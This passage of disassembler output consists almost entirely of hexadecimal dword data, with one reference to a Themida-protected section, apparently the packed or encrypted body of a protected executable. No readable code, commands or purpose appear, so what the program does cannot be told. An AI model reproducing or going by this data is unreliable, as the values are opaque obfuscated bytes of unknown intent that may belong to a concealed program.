8D2D0F74h, 4C8F4F05h, 26C33C83h, 0E54EF6Fh, 5B100ACDh dd 0F665BD20h, 0BF686577h, 0C0655A3Dh, 0DC5AD254h, 0A162521Bh dd 83492214h, 7AC22h, 4DC47700h, 9F18D04Ah, 30B722F8h dd 48C375ADh, 0E118DD45h, 1B8E29FEh, 62B8DF5Ah, 0C85275F2h dd 1C068902h, 2B9DC5Fh, 0D4006243h, 0E7C54EEh, 50C07751h dd 0F0B1D60Bh, 0AE3A6F59h, 0C5CDF9Ch, 0B3E92971h, 4B73E557h dd 748FF11Eh, 2CABF728h, 6B241FADh, 0AE31A82Fh, 7267D3CFh dd 5912F0Dh, 194A8D4Fh, 1CA4D0Dh, 1574562Dh, 154872Eh dd 77D60000h, 0E97349C0h, 9512C262h, 0B4DB0CC7h, 379614C1h dd 0E8FD09CEh, 1EAA6D54h, 6BEE6BB7h, 0FBD95BA4h, 985B54E8h dd 0FC70F63Fh, 0F4DB54E8h, 0FC4A2815h, 69AA54E8h, 37FE22ACh dd 33F8E34Ch, 36BDh, 6FD8D800h, 7A4B2AEDh, 4F04E5F8h, 77D68374h dd 0E908350Eh, 8F4E8154h, 12A62193h dd 0E3647421h, 54E9087Dh, 0C70E72C8h, 33F8EB7Ch, 205B1D05h dd 0BA7877h, 779F0000h, 0E97349C0h, 4B2AED64h, 4E5F87Ah dd 0D456AF4Fh, 504F04E5h, 0D630E39Fh, 62D1EB64h, 521923A9h dd 0FC7B81DBh, 9CE55A7Dh, 234F0538h, 1FF877E7h, 0C2C544F3h dd 0D9BC3EF7h, 0F11D9F1h, 13FCA77Fh, 8345734Ch, 0C52F54ECh dd 0CC79514h, 8D9574DBh, 0C57E4ACDh, 424F0E08h, 0EB36FF7Dh dd 49BA7D54h, 0B719DC46h, 1328601h, 0BF1FEFCCh, 28A01C3Bh dd 64C49h, 2DA41700h, 7FF870AAh, 9017C258h, 28A3150Dh dd 41F87DA5h, 0BBEEC95Eh, 218BF3Ah, 68B2D552h, 0BC6669E2h dd 6219BC3Fh, 0D560C223h, 0AEDC54EEh, 4BC677F1h, 0B93D6544h dd 8249553Eh, 9830B722h, 865776ABh, 8649C077h, 0E65CDE27h dd 17D84F04h, 4F0C1EBAh, 55AA09CCh, 4F04E5D7h, 9629E255h dd 26D7h, 0C0770600h, 62E97349h, 6CE24EBh, 423E5C14h, 869C3C99h dd 0A615F43Ch, 4E21A027h, 82000000h, 557D098h, 775405CEh dd 71EA60C0h, 4625AC3Ch, 4B619A5Ch, 0E5C9AB98h, 0E82B4F04h dd 0E661C62Fh, 0CC964F04h, 0A5B625C4h, 4E5DA58h, 3A0B5A4Fh dd 4F04E638h, 0DD0E43B4h, 7394107Ah, 9FFB7CFAh, 95C10062h dd 0FB10A5AEh, 89F7837h, 49C0775Fh, 0B894673h, 9A98E544h dd 1A4F04E5h, 54A97CD9h, 54EEC7EDh, 0EBC78649h, 59A22040h dd 0E01FDF06h, 703E2AFh, 6CB6D950h, 615C6CEFh, 82502FB4h dd 6E33F1F2h, 89405A3Dh, 9DE2450Eh, 5AD7F617h, 0B7D3B265h dd 1C068900h, 0D18CDC5Fh, 920DCF64h, 390214C6h, 32129964h dd 0F4C98CC1h, 54E9A727h, 19D79447h, 0EE1C3D54h, 50B8B6Ah dd 65D60000h, 0BB3FEBEAh, 0C881993Ch, 62D44E51h, 0B93CE6E9h dd 2F8E9F3Eh, 597CFB7Ah, 0F3920DC1h, 0A726A117h, 5A7DFC7Bh dd 0A183FCA3h, 354EED5h, 0C0772E65h, 0B674649h, 3E4157Eh dd 8B97400Bh, 0A08A4DCCh, 474A88F4h, 85D780C7h, 22007DDCh dd 824F0500h, 0DD9A8451h, 2BAFFB5Ah, 0DCE9E3ACh, 2CAF2D75h dd 0E0EAA79Ch, 0A8A41A0h, 31D05E6Ah, 5679AA09h, 15989FE4h dd 4EC82Eh, 0CC0F0000h, 0D2E661D6h, 8C5B461h, 0A4FACB8Ah dd 0C054E932h, 0E452480Fh, 9F837C63h, 6554E931h, 3906E5F6h dd 54E9323Bh, 2B0976B9h, 8954E932h, 5870EF6Fh, 4245B6EBh dd 0C39912D8h, 5AD6A882h, 901C3368h, 44780C7h, 0F9210000h dd 0B91EFB72h, 7349C077h, 0D864852h, 0F914640h, 231CC235h dd 4F04FE41h, 362670A3h, 3DA095C5h, 80369D4Ah, 3273D207h dd 54E917CDh, 0FB27E629h, 29A0FA7Dh, 6C291AAEh, 0BC3D656Ch dd 0F2D456AFh, 9F5054E8h, 68251EAAh, 0E8F3250Bh, 0D6DAA054h dd 0F8DA241Fh, 5D5533h, 0D8800000h, 0F02AED6Fh, 0B312FF78h dd 32300DECh, 0B24F04E6h, 0E69092D3h, 2BEC4F04h, 0AD2EACF6h dd 0A6B241Fh, 54E90831h, 0C97E4A8Dh, 54E90867h, 1DAF2EADh dd 86D24D0Fh, 6577F064h, 70BD7EEh, 0FDD5FCCFh, 36F3626Dh dd 0FED8B547h, 61087BB2h, 0BB7133F9h, 52000000h, 0B5078048h dd 7784D5BEh, 527349C0h, 82683C78h, 0FD0980CAh, 0F610FD7Ch dd 6AF0C847h, 0CC5E6AEDh, 34098C0Fh, 4F050E2Bh, 6A2DAC2Bh dd 631D0100h, 4C0935CAh, 0F36AE139h, 0E892F8D9h, 7C85ACFh dd 0BE0A8D4Ah, 34875085h, 2916F97Bh, 54E9D49Ch, 259037F8h dd 0DA2BEA68h, 5AD05DA6h, 948E5182h, 0FB27A621h, 2CFEFF7Ah dd 0CF221FA9h, 323A40Dh, 7DFE0000h, 9347C3C2h, 20A97114h dd 7AFC26A9h, 9144DEC1h, 17A67716h, 3154D382h, 0EBEA65E9h dd 9F3EB93Fh, 3255D483h, 89EBD48Bh, 0EB54EED8h, 0C677C69Dh dd 75F262h, 75E43E9Dh, 7EFD19F2h, 550218FFh, 804D86D2h dd 6FD868FDh, 78F02AEDh, 9D76EDFFh, 880F5CAh, 12FC54E9h dd 718B21A6h, 0FA6943FAh, 5D045489h, 9159445h, 270CC940h dd 54E90841h, 380512C3h, 54E9083Ah, 0B40479BAh, 17A52296h dd 61A9E9B3h, 79B0F04Ah, 33F8EB0Ah, 10773h, 0C0779A00h dd 78527349h, 1D29C4B3h, 95F15A26h, 0B213A920h, 8900B7D3h dd 598DA58h, 3C995A4Fh, 59D6AF7h, 2DF9D14Fh, 0A1DFB30Fh dd 0E057B31Ch, 1B4CA669h, 3F7941FBh, 0B6A7DD6h, 0C8D95BA4h dd 985B4F05h, 0CC64D33Fh, 0FD9880Ah, 0A310280Bh, 32AF3D6Eh dd 1A00C745h, 548FDD5Ah, 0AADB24FBh, 8A54E950h, 0DE9C8649h dd 9AEDF05Dh, 9E8AF2Dh, 0E9303634h, 8845B654h, 0D659C835h dd 683D5ACFh, 7D51517h, 0E1A4974Fh, 7D49E9Ch, 0E8DD1E4Fh dd 0D878FD25h, 722959Ch, 880F4065h, 57362392h, 7260C6Eh dd 7EA7684Fh, 4F0725FCh, 80D85318h, 0B3E45753h, 1FCFE20Ah dd 0F2B31922h, 1D1h, 2DB02BACh, 0C3C245F5h, 70179247h dd 28AF28AAh, 0C1C443F2h, 0BD306954h, 0D7878302h, 6FED3558h dd 0BA31E9ECh, 0A6E59C03h, 0EED8DB59h, 74235954h, 444BC677h dd 3F9E19DEh, 0E6056758h, 9D674F04h, 0D70C5CDFh, 0C19629E2h dd 0B18E6DCCh, 4F04E5B3h, 0A381FE31h, 14F04E5h, 521905CEh dd 61C081DBh, 4E61E1Ch, 0FD7AFE4Fh, 904A74EFh, 1B49F513h dd 0B6635452h, 0A96CEF6Ch, 6943FA71h, 948E11FAh, 6BC93627h dd 994F05B4h, 0D54C40FAh, 83746EAEh, 964F7A4Eh, 0F74CB114h dd 4754E914h, 9E64C494h, 45C47392h, 57D09882h, 9E84EBFAh dd 7F25FD8h, 3409CC4Eh, 5ACD375Bh, 0FA00589Bh, 54EEFA7Dh dd 465C060Ah, 0BB3096h, 8D46FDCFh, 1DDA712Eh, 2015CE9Ah dd 1547007Dh, 6CAF54E9h, 833AB169h, 0AE42A829h, 0C3683469h dd 0BA3DBBC7h, 3E58352Eh, 0DDAD3FB8h, 52D02D8Ch, 0B254E9BAh dd 3E358700h, 0DC865384h, 78635D4h, 0C0176A40h, 8EA431A9h dd 1ED7A2C5h, 7B8706B5h, 0F56E7AFDh, 8BE0DD80h, 0EB5ACD1Dh dd 240D6528h, 0F2DDBA96h, 213B917Ah, 366C33AAh, 81B20681h dd 5E2484D4h, 80220852h, 4A2DC20Dh, 5D0AE1AAh, 761278DFh dd 9A1DDC3Ch, 0BE0ACB0h, 0AD86FF4Eh, 954E923h, 5E1B07C6h dd 1C6F7EDBh, 9F7E21A3h, 2465C738h, 14C754E9h, 6177ABBh dd 29885AD3h, 12C256D4h, 8601B64Fh, 747EDB1Ch, 16C6DC83h dd 4710C399h, 0C940F715h, 1C9F5CC6h, 2EA9B4Ch, 0A32262FDh dd 74BCCE57h, 0D5BEC325h, 0E3688989h, 3EBD6568h, 5D1F2DBFh dd 0C1749622h, 62E87246h, 0A10BD3E9h, 0B51FA961h, 0AC2FAC4Dh dd 0C37AF129h, 308E9h, 65F0000h, 4DC47751h, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh, 8956B30Dh, 4C681E6h, 83000000h dd 343304EEh, 24343124h, 5C243433h, 81E28952h, 4C2h, 4EA8300h dd 5C241487h, 68241C89h, 7C3Eh, 57240489h, 8E007ABFh, 25F78126h dd 0C1477C13h, 0DFF704EFh, 81FFEF83h, 0F6FC0AEFh, 5FFB89F3h dd 24048B54h, 6804C483h, 48A1h, 8F241C89h, 34FF0840h, 0C4835824h dd 2434FF04h, 4C4815Bh, 0E9000000h, 0FFFA877Eh, 47DF7182h dd 5409D14Eh, 0D1B8A53Dh, 305E9F5h, 8E0FFC5h, 7F4E8EB9h dd 8B01C22Eh, 0CC0D7CDDh, 94674C36h, 958F389h, 5116917Ch dd 4603E5h, 6D31068Ch, 6C3C3054h, 1879B80Ch, 992D7DE5h dd 353C0D18h, 515E551h, 0E71A6ABDh, 7633BCCFh, 0E27D06F8h dd 0F11AAA39h, 0E954436Eh, 0A3214785h, 0DC64ABF7h, 0EA3F069Eh dd 0DC1E1EA7h, 0A346006Bh, 617B2EEEh, 0D064EE23h, 0D14E56Ch dd 0D774C0A4h, 34078997h, 4F5DC36Ah dd 0A825261Ah, 8D61DA6Eh, 0E9F76B8Dh, 0FA8B6605h, 10958D89h dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0F2815EC3h, 3E360CD4h, 2C6585C7h, 594C05E4h dd 800F0000h, 6, 2D5D8D89h, 85C705E4h, 5E430FDh, 0 dd 32A4BB66h, 26FDB5FFh, 6E905E4h, 1A000000h, 0E26236DFh dd 6195FFA5h, 6A05E42Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 9000C351h, 27A6F74Bh dd 0FF006ACBh, 0E410C195h, 0EBC08B05h, 2AAC7E6Fh, 6F853206h dd 57F24A04h, 2586A945h, 0E7F331C6h, 0A665D7C4h, 0B981CF65h dd 0A6C45860h, 919CD966h, 6FBB3B26h, 14F5CC9Ah, 470CEF66h dd 19261D5h, 0E50CF554h, 0B307D3Eh, 672A0FEEh, 20841BE4h dd 0CD578A92h, 5DF18ECEh, 42E3C0ADh, 9AA9619Ah, 0B2AB2206h dd 0F45BAD66h, 26561795h, 0D0700B22h, 7DFDFBE2h, 48EFA20Dh dd 0E7DA3B57h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h dd 0DC73E2ADh, 0E92B6B03h, 0F89h, 0E9FA3068h, 855CE905h dd 0E68FFFAh, 0E905E9FBh, 0FFFA8552h, 0E9FC0468h, 8548E905h dd 4C68FFFAh, 0E905E9FDh, 0FFFA853Eh, 0E9FDE568h, 8534E905h dd 8A68FFFAh, 0E905E9FEh, 0FFFA852Ah, 0E9FF5668h, 8520E905h dd 1568FFFAh, 0E905EA00h, 0FFFA8516h, 0EA010468h, 850CE905h dd 0B568FFFAh, 0E905EA01h, 0FFFA8502h, 0EA02FC68h, 84F8E905h dd 3A68FFFAh, 0E905EA05h, 0FFFA84EEh, 0EA066668h, 84E4E905h dd 2596FFFAh, 7BFF2BAAh, 8841D9FCh, 22948E11h, 79FC26A9h dd 6F4EDFFEh, 993CBB3Ah, 3352CD81h, 0E7E661D7h, 9A3DBC3Bh dd 0E143BCE3h, 4354EEDDh, 0C0776E25h, 62E97349h, 2491E4EBh dd 0E669CB34h, 8CB4F04h, 0CA0F70D7h, 0F154E8FCh, 13A920A9h dd 884B7720h, 0FC290F30h, 0C6A454E8h, 0E33013DAh, 555933F8h dd 0FC000000h, 17C46FD8h, 83FCA394h, 54E907AAh, 1401C9D1h dd 0E908492Bh, 3768AB54h, 0D1EB6EEBh, 0E30DA962h, 9D1ADA76h dd 0EE2314CFh, 0C641F32Fh, 0C49441F2h, 0E9081D03h, 0F877E754h dd 199E5AE0h, 151DFF43h, 0F43C8EDDh, 44C774AEh, 0EADCA78Bh dd 0D40D33F8h, 48000000h, 546AE6CCh, 71280A7Bh, 53844F05h dd 1A82C107h, 67E655B1h, 62260C55h, 98D855h, 0BD305A37h dd 2794B602h, 41F614A4h, 0F17EC7C6h, 0E54F05C2h, 8719DE76h dd 1C0AA0B8h, 566257FAh, 368205B4h, 0F097C83Dh, 9E2AAD2Ah dd 25E86A23h, 0E9316BD8h, 8508CB54h, 0C74532h, 78F379A1h dd 99BB569Fh, 7CBF5ACFh, 6DE03A99h, 116DE6F2h, 598ADE59h dd 0A42392FCh, 82E34221h, 4F0788A0h, 2BFFDB1Ch, 181A9105h dd 0DF9EF855h, 839E1BA0h, 7BD1221Fh, 0D06BAh, 1D944700h dd 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h, 0EBBEF92Eh dd 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh, 0E0303273h dd 0FE8C54EEh, 62C677A1h, 0ED6672F5h, 4E0D15B8h, 0CC1FC8CFh dd 0C13B6E6h, 54BEF745h, 0B1A37141h, 8A612A74h, 87F85FDDh dd 54E9A9AEh, 200ACD0Eh, 5B019DBBh, 0B11BF44Fh, 0E8F2A88Eh dd 5B472354h, 0F8D6B192h, 0A2DA33h, 777D0000h, 0E97349C0h dd 0C02AED64h, 0E62F4B9Dh, 20A86593h, 4F8323Fh, 32B5224Fh dd 49C07793h, 22894673h, 0AEA537B0h, 0D8A59A7Dh, 3454E914h dd 3CE9DCC3h, 12A62197h, 0D429EC21h, 5ACFBB2Ch, 0A100C708h dd 6E7AF579h, 83D961ECh, 0DF1001B3h, 0C5FB9FF3h, 0F8554CFAh dd 3DA0DF9Eh, 0F0F970E5h, 221FB9F7h, 2865CC8Ch, 7900000Ch dd 0C2587FF6h, 140E9116h, 67A322A5h, 0CF5B7AF5h, 1B0C930Eh dd 0D1480D9Ch, 67E054CEh, 0BB3CBA60h, 0CE490E14h, 6C5130CFh dd 54EEE10Eh, 7743186Eh, 0DE444BC6h, 6EFF9E19h, 0EC60C077h dd 7785973h, 4F04E625h, 2E635487h, 96DF3B9Ah, 0FF78FCC5h dd 0C31C76EDh, 6BB76088h, 0B06A6DECh, 102ABE39h, 5ABD205Bh dd 7EFCA96Bh, 2709A69Fh, 5CB654E9h, 8C733EF1h, 406A27E6h dd 79FEC18Fh, 264C7411h, 0E1FB7CFCh, 65D29972h, 594120E7h dd 954E1A95h, 714BC289h, 0CB2809C2h, 2B4757E2h, 28E5D0E8h dd 3FBFEBAAh, 5E3B2880h, 0D9C2288Fh, 29FB6FBAh, 6840FB71h dd 0E4CD86FBh, 4C767FB2h, 0B0B2F3D2h, 0C417226h, 27066459h dd 0B5664172h, 0E9480F40h, 0EA405481h, 0E0AD150Eh, 17B631A6h dd 0A3D44C0Bh, 2DA429ECh, 8D3CFE1h, 80FF96D7h, 0D8702FB4h dd 0B3219h, 49C07300h, 9B1CDC46h, 2CAB2EF4h, 44FF71A9h dd 9D14D941h, 7922DFAh, 6EB4DB56h, 0B46E71EEh, 18028506h dd 0EB5D853h, 0E204665Fh, 1A6054EEh, 50C0774Dh, 0B16571DFh dd 0EFFD2EE7h, 0C08705F2h, 39B03961h, 751A175Ch, 709A54E9h dd 0F96A7EF9h, 7BAC2FADh, 1FB46154h, 598ADE59h, 67D5E17Dh dd 1A4F3914h, 95694ABBh, 3BC55ACDh, 0B7AC3CBBh, 516BEE6Bh dd 241BB1E2h, 4F059542h, 3CF53D8Dh, 2E157847h, 53B0h, 0D6CCE700h dd 61D2E661h, 8A08C5B4h, 32A4FACBh, 0FC054E9h, 63E45248h dd 319F837Ch, 0F66554E9h, 319A98E5h, 0D91A54E9h, 72F921E4h dd 492B14FBh, 0AB54E932h, 218AF68h, 38F9D354h, 0A6Bh, 5ACB199h dd 9DF82B12h, 2E6897EFh, 0DB9E421Ch, 29AE6B5Ch, 2AED6FD8h dd 0EEDEA1D5h, 0F95C9F54h, 0D8B52CA1h, 0DF5E1D05h, 5BF562B8h dd 383E189Fh, 0E91EAAD6h, 6550685Dh, 0E547B8A8h, 1754EE1Ch dd 55E29C80h, 7C8F297h, 0D3273D2h, 695AD81Ch, 2A00E7A6h dd 0E1BDEE0Bh, 89957E27h, 0DE444BC2h, 8BCA9E19h, 0BA1D89Fh dd 0C3BC7FD8h, 74A19E41h, 9054E9D2h, 7DB91E5Fh, 5AFE1C3Dh dd 9EA9Bh, 1B83B00h, 53D4849Eh, 0E463D64Ch, 3CB739E1h dd 55CC8199h, 0CFDAE532h, 160C930Eh, 7CA629A6h, 0C05A7DFEh dd 760D900Bh, 0E34C2E17h, 0D2A854EEh, 0E5CC5285h, 2EE74F04h dd 0A581E9ACh, 0ED4FB0EFh, 4F4F050Ch, 0FDC5428Ch, 89F64902h dd 54EF7E90h, 366C33E4h, 32AD2F81h, 3C101253h, 0AB6C54EEh dd 0CCB5776h, 0D5823F8Dh, 3C7AF8C5h, 39FA54EEh, 7A2901C4h dd 5C30EC74h, 40C7738Fh, 4F1EFB68h, 0D278F976h, 0FE7CA65Ah dd 1BF46F7Dh, 0C21F5C9Fh, 5221472h, 951EE57h, 21920000h dd 7FFB27A6h, 8C4DD5F8h, 0DE908A0Dh, 75F822A5h, 7342DBFAh dd 9538B726h, 4F4EC98Dh, 0E3E265D3h, 9639B027h, 0E547B8EFh dd 4754EEE2h, 0C0776A21h, 78527349h, 1B04F6C2h, 0B3DFB8E0h dd 0AE29AC04h, 19DD6F7Dh, 0BD30CA9Eh, 4F1BB602h, 46241943h dd 0A64F0566h, 0F2C80075h, 875D48Eh, 4F05662Ah, 0AA8C498Ah dd 2E154CD9h, 3ED02h, 6FD85500h, 48D52AEDh, 2454EEDEh dd 41F62CF3h, 0BAE0C7C6h, 0B4DEBB3Ch, 33348407h, 54EEDD2Dh dd 4A0D8F78h, 0D2EEFC75h, 36B7785Ah, 221420BDh, 0AC9F66F2h dd 0FD000008h, 46DCC37Ah, 0A8721592h, 0FB27A621h, 43DFFE79h dd 0A7701792h, 55CC8118h, 0EB64E832h, 3FB83EE4h, 52D58298h dd 0E8D5B433h, 54EEE48Ah, 0CCC79CEAh, 0C20280E6h, 0A36C69D3h dd 6379F067h, 0C19B12D9h, 0E1564C15h, 0E121AD66h, 0F22F5FBBh dd 1D0E30B5h, 5734220h, 3C71A24Fh, 5A241F53h, 53552E15h dd 80000003h, 4E5CC52h, 0AC2EE74Fh, 0D5CF81E9h, 6B76CC11h dd 0ABE6DFAEh, 1454EFC5h, 54D54B0Eh, 245F8A55h, 0C0EAA798h dd 0E552480Fh, 30A76362h, 0F9B623B9h, 0CB8E947Bh, 68557C4Ch dd 54EEE50Ah, 2A74A96Ah, 9E612AADh, 0DFDCD33Fh, 0C90F770Eh dd 6D29CF97h, 3C99CA1Ah, 0D2817AF7h, 0B039FA5Ah, 22146A49h dd 0E017DE7Ah, 21000007h, 8A9037AEh, 0DC4649CEh, 2FFB9A1Dh dd 779332ADh, 0D3444BC6h, 8900B5E4h, 0DF581C06h, 73F462B8h dd 8601B66Ch, 0D4297807h, 54EEE556h, 77FBD0D6h, 71EA60C0h dd 25B7E85Bh, 83D95007h, 570D7557h, 0E5AD8FF0h, 0CC0F4F04h dd 0CD542F03h, 8E6D2E14h, 0DE54D62Fh, 1FD04F04h, 4DE4426h dd 0A26FA04Fh, 2852Bh, 65BE9400h, 0F334DB7Dh, 52F5E2AFh dd 4F04E5CCh, 0E9AC2EE7h, 1D9A3AB1h, 5116A34Eh, 0FB6840B5h dd 24764F1Eh, 4054EFAAh, 1A42201Dh, 71A254EEh, 8A41593Ch dd 21968C13h, 0EEA712A6h, 9641A96Ch, 245928BFh, 19663992h dd 5AD242D4h, 31CEEF20h, 0D62214EAh, 721A302h, 0F1620000h dd 0FCB5776h, 5C1D0588h, 0EE60BADDh, 5C85275h, 0A3120B8Ah dd 0C5C847F6h, 7F1E995Dh, 13B235A3h, 0C6C940F7h, 1517683Fh dd 9754EEE6h, 0C077BA11h, 78527349h, 0ADA1BD1Bh, 25612A88h dd 8A537B6h, 639A5149h, 95319A49h, 4CCF8C6Dh, 0A5DC9189h dd 1E65D5E8h, 4F2E155Dh, 20h, 30B72278h, 0E9EEAB98h, 1C12Ch dd 0D12E8D00h, 4F04E653h, 0B1B38CD1h, 334F04E5h, 95C28FC0h dd 4E5D252h, 0B634E14Fh, 0B99170D7h, 9195E753h, 73F12EDCh dd 0F14F0562h, 496C553Eh, 5554EF5Ah, 30880FCBh, 9F2DAA2Ah dd 1E2773A4h, 2A00A401h, 7FAB6A5Fh, 0D06A7EF9h, 18CBE11Ah dd 9D1CDB27h, 0E4BB14CFh, 1FBE39BEh, 87D55403h, 389F1DCAh dd 24F176E2h, 3CB77C41h, 361C5AD2h, 0BF9D947h, 0EF8B44CFh dd 0F95A8F2Ch, 3F9D2214h, 63276h, 49C07300h, 9B1CDC46h dd 2CAB2EF4h, 44FF71A9h, 9D14D941h, 7922DFAh, 6EB4DB56h dd 0B46E71EEh, 18028506h, 0EB5D853h, 0E704665Fh, 1A6054EEh dd 49C0774Dh, 0AB785273h, 84A43180h, 8F4C5603h, 5921BC0Ch dd 0B833B859h, 225E2515h, 0E8F2E15h, 0CE000000h, 0E867D6CCh dd 37B663D0h, 0DEh, 0E5D35266h, 0AEF44F04h, 261DAF28h dd 7AD18E6Dh, 64E755FBh, 79AA9933h, 0DE0DA996h, 6AB054EEh dd 0E35068EFh, 0F3628C36h, 465C0374h, 0AB771691h, 0A21FAD2Ch dd 0AF9077F5h, 5AD30686h, 6CCE3796h, 0C84F12B6h, 4295D207h dd 0B9221436h, 5815213h, 11C20000h, 0AF2BF796h, 0FC7DA528h dd 0EC05A7Dh, 0A528F295h, 4372AB2Ah, 6568E756h, 1FBE39BDh dd 0B3D25503h, 6669E057h, 0B5B788DFh, 3754EEE6h, 0D6CC1A71h dd 910ECE60h, 7AD7083Bh, 88205B10h, 0F91BD1C9h, 33D0338Eh dd 927FB0F7h, 7048C388h, 0FC1D0565h, 69D9FC7Fh, 2E14EA1Ah dd 743h, 272C8A00h, 7B000000h, 7349C077h, 0D1EB62E9h, 0D3988243h dd 0AFD3FF58h, 8F0E894Eh, 0C344F228h, 848B297h, 0D8B5923Ah dd 27E5h, 0C0773000h, 6BCC7349h, 0AB4F04E6h, 0B11AB2Eh dd 29F1CB4Eh, 0B8975F43h, 5EB4EE12h, 20990427h, 0C8D2BFF5h dd 50058803h, 0EADBC077h, 4F04E688h, 0DA5D1AE4h, 5BD926E9h dd 0D94F04E6h, 83622516h, 4E5C0A2h, 1EFB3C4Fh, 480F1BBAh dd 8F48FBD1h, 2EF1732Ch, 0F4C447F4h, 0F233927Fh, 54EEDEBAh dd 0A8F25586h, 0FD25A823h, 0E867D67Eh, 9A2E63D0h, 0EE69EF3Bh dd 0CDAC69DAh, 0F2339210h, 5AD8D64Dh, 4027E629h, 0C6C3A46Ah dd 0D9BC9D23h, 4E786E4h, 5835E64Fh, 0A717B93Eh, 0C88A9028h dd 95C67D4Fh, 76E53DA0h, 3FE8E5F7h, 38E5DABDh, 5454E91Ah dd 0D33BDAE3h, 5CFC1C3Dh, 43A95h, 51C88B00h, 0E364D44Eh dd 34B326FCh, 4CC78991h, 0E51CD149h, 1F8A35E2h, 66BC235Eh dd 0CC5679F6h, 100A8D0Eh, 6BD205Bh, 0E7FC7E47h, 27854EEh dd 49C07755h, 0B51FDC46h, 79538407h, 0E7F574E3h, 40189345h dd 2FBD3ABAh, 448CF45Eh, 4CADD5B5h, 0B9890C8Fh, 2E14C8CAh dd 5233h, 0C076AC00h, 0D8CD8A47h, 4BF0F46Fh, 73A5F856h dd 30665F3Eh, 8F54EA24h, 3857A2A3h, 329FA740h, 9A804788h dd 76F4C9DCh, 0F654E9D5h, 9852C905h, 6322C4F4h, 0D256AF2Eh dd 3654E9D9h, 9B870681h, 14FB5ADDh, 0E9DA492Bh, 0AF68AB54h dd 38D442Dh, 0D8930000h, 4B2AED6Fh, 271C9B5Fh, 4F04E645h dd 0C49B74A7h, 0E8E73AFBh, 0E3F93A54h, 411B9259h, 0F3A9E9B3h dd 0E651D32Ch, 60D354E8h, 80D85706h, 7A338653h, 0DCB1DD1h dd 0A164598Ah, 0CCE69F5Ch, 0F95C9F5Ah, 0E7596191h, 4D0654CDh dd 0AEF45B3Ah, 0F173B02Fh, 734F056Dh, 0AB64D780h, 0DC196629h dd 5854E96Eh, 0B627C597h, 88D9A13Bh, 6E56D429h, 65D654E9h dd 0ACE22EA8h, 51AE71F3h, 5ACD6E94h, 0E2385F90h, 9F1ADB75h dd 4F0C1EAAh, 1FEC9CCh, 6E4E2C11h, 8754F05h, 4F056E2Ah dd 9A5D498Ah, 3EFC88B0h, 13443CEBh, 248E734Ch, 7CD654E9h dd 452BD8B9h, 8A4DBE29h, 4085FEA0h, 0FA7106FBh, 89FA6943h dd 0D55B8CCCh, 7054E93Eh, 0B824951h, 0F9D263CFh, 6F28E7AFh dd 86653F63h, 0E99ABBB9h, 1DF63954h, 0F9826AD9h, 3E9333h dd 6DCC0000h, 0DC058435h, 54E9935Eh, 6803FBEh, 0CC5378D5h dd 2EEB64D6h, 4D10924Bh, 2B649565h, 0B6634CE8h, 1F95EED7h dd 2EE154E9h, 1AC3A59Ah, 0BC0E54E9h, 0FDC6BD74h, 0B03733F8h dd 66000000h, 0E966D6CCh, 0F275E22Ch, 169144E6h, 0B833B842h dd 0DA5D1A20h, 0E9DD4ABBh, 12D94F04h, 0A92EF49Bh, 762F9A2Eh dd 9F2C11F4h, 0FF54E903h, 0FED351AEh, 9E5154E8h, 0FF64C63Fh dd 0FC054E8h, 17C0BBDAh, 0BDCD3295h, 9B5ACFA8h, 0C41F871h dd 659C5149h, 7AF578A2h, 8518F56Eh, 18A1D89Dh, 221F55EBh dd 0FC298840h, 4D000001h, 968C138Ah, 0F822A522h, 4BD7F671h dd 938F0E89h, 0F720A722h, 0E51CD1C8h, 3BB438E2h, 4FC88E94h dd 0E265D248h, 380544E3h, 54EEEB3Ah, 7797CCBAh, 65444BC6h dd 0A800BB3Dh, 0E656D429h, 65D64F04h, 0BC3B6730h, 0D8CD9A3Dh dd 4B2AED6Fh, 4D1F9A5Fh, 0FADABC96h, 83C8440Ch, 5694E9D6h dd 543B54E9h, 0E952096Bh, 0EFA86B54h, 87B810C3h, 54E951A1h dd 9B525E2Ch, 33F935A8h, 0E7D1h, 0C0770400h, 0DE9C8649h dd 7BD40F5Dh, 8F0ACB51h, 0E562D2C8h, 0F921A028h, 74EFFD74h dd 0E9CD5A9Bh, 28724F04h, 0DEF630A2h, 9D9AE68h, 581F7BD4h dd 6AE14308h, 396AD9F3h, 0E7C6A9A3h, 0B6231D18h, 0EE4D1045h dd 5D89391h, 75DE114Fh, 8803C852h, 4AC88530h, 0F309BA8Bh dd 54BE54E9h, 7C29CAh, 0C8F25FF6h, 0F9218007h, 9D91FD74h dd 9C61C3B8h, 0ED5A11FAh, 0E1C9A86Fh, 0D44976F7h, 59A67344h dd 5AD05ECAh, 159644AEh, 0F45B8C47h, 0EDB02FAEh, 2CAD07B5h dd 89F78ADh, 49B6A312h, 4F075BEBh, 14558649h, 221F8FE9h dd 0D037FE5Ah, 11000000h, 7AA0275Eh, 0CC5679FEh, 1F0B8A0Dh dd 67A3225Dh, 0C3547BF6h, 0B930A5F4h, 0CF480C16h, 63E452C8h dd 0B631A67Ch, 0C4396817h, 54EEEC66h, 77EBA0C6h, 0DE444BC6h dd 6EFF9E19h, 0EA60C077h, 45179058h, 0D40F5D8Eh, 8433C9E3h dd 7E378205h, 982346Eh, 4E65AD8h, 2419DA4Fh dword_59EE88 dd 0DE701C61h, 0BCC54EEh, 0AD2CABB1h, 9BE44B2Ah, 54EEDD99h ; DATA XREF: Themida_:00566743o dd 137FD81Bh, 509725A4h, 836FE953h, 40A1E1BBh, 0BFBD828Bh dd 3D7A6DD8h, 67C689FAh, 6DD91C1Eh, 0FA57987Ah, 1B83FEBh dd 7DF02AABh, 907DF6C2h, 714BC476h, 3EDFC3A9h, 